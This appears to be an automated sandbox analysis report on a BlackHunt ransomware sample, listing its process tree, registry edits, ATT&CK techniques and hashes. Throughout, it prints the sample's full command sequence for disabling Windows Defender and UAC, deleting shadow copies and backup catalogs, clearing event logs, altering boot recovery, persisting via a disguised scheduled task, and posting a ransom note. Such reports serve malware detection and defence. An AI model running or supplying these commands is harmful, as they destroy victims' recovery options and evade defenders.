04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 52 PID 2184 wrote to memory of 1716 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 52 PID 2184 wrote to memory of 1716 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 52 PID 2184 wrote to memory of 2604 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 54 PID 2184 wrote to memory of 2604 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 54 PID 2184 wrote to memory of 2604 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 54 PID 2184 wrote to memory of 2604 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 54 PID 2184 wrote to memory of 2232 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 56 PID 2184 wrote to memory of 2232 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 56 PID 2184 wrote to memory of 2232 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 56 PID 2184 wrote to memory of 2232 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 56 PID 2184 wrote to memory of 2056 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 58 PID 2184 wrote to memory of 2056 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 58 PID 2184 wrote to memory of 2056 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 58 PID 2184 wrote to memory of 2056 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 58 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe"C:\Users\Admin\AppData\Local\Temp\04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2184 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:2700
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1376
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2676
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2920
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2784
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2040
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2828
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:1108
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2724
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2548
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2980
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1052
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2580
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3000
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2796
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1496
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2688
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2520
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2960
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2172
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2744
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:760
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2740
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:860
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:1716
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2260
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2604
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:828
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2232
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1996
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2056
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵
- Modifies registry class
PID:1108
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2420
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2028
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1600
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2416
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2552
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2624
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1972
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1532
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:268
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2784
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:780
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2392
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:560
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1088
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1028
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1800
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:624
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2960
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1148
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1968
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1832
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2672
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2560
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:3004
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2864
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe" /F2⤵PID:2880
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe" /F3⤵
- Creates scheduled task(s)
PID:2524
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1844
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2844
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1340
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1020
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1744
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2856
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:864
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:968
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1780
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2072
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2740
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1700
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2912
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3008
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2460
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2464
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:932
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2252
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:980
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:896
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2856
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:2820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2728
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:2796
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:1800
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2096
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:1524
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2892
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:1636
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2256
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:2056
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2428
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:852
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1796
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:2824
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2512
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:828
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1276
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1088
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2528
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1332
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2368
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:432
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1264
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2632
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:320
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:1496
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2604
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:2352
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:2324
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:2488
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:1788
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:2928
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:1444
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2128
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:2300
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:3060
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2784
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:696
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2624
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2616
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe"2⤵
- Deletes itself
PID:1984 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1956
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2904
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2108
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:1536
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2816
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:1844
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5316edbfbc75e71fca5c8fcfbb786a808
SHA1fe192269a37bdb523308432e24b7376e2d706352
SHA256d445a11fc307d8d05d0d81cd7327378cc67eca98d04a0f4b1c1b69d582b01002
SHA512ae1d10d2511d8a5560d0c6347024d92d3d9289e8575f6a3beebe73b5d361a2dbb2899b241e5073712406d357909a7dba21c69c6d792b07b27e72e80543fe6bb7
-
Filesize
12KB
MD50b757ed2ad5bf54f94693b59ac0216ea
SHA105639a539cb04a6098c3e2d02f25038c70dc8225
SHA256ebca9859f25c26e96ec1698118e121d1e4f12b7fb07b513fa72c9796809f456d
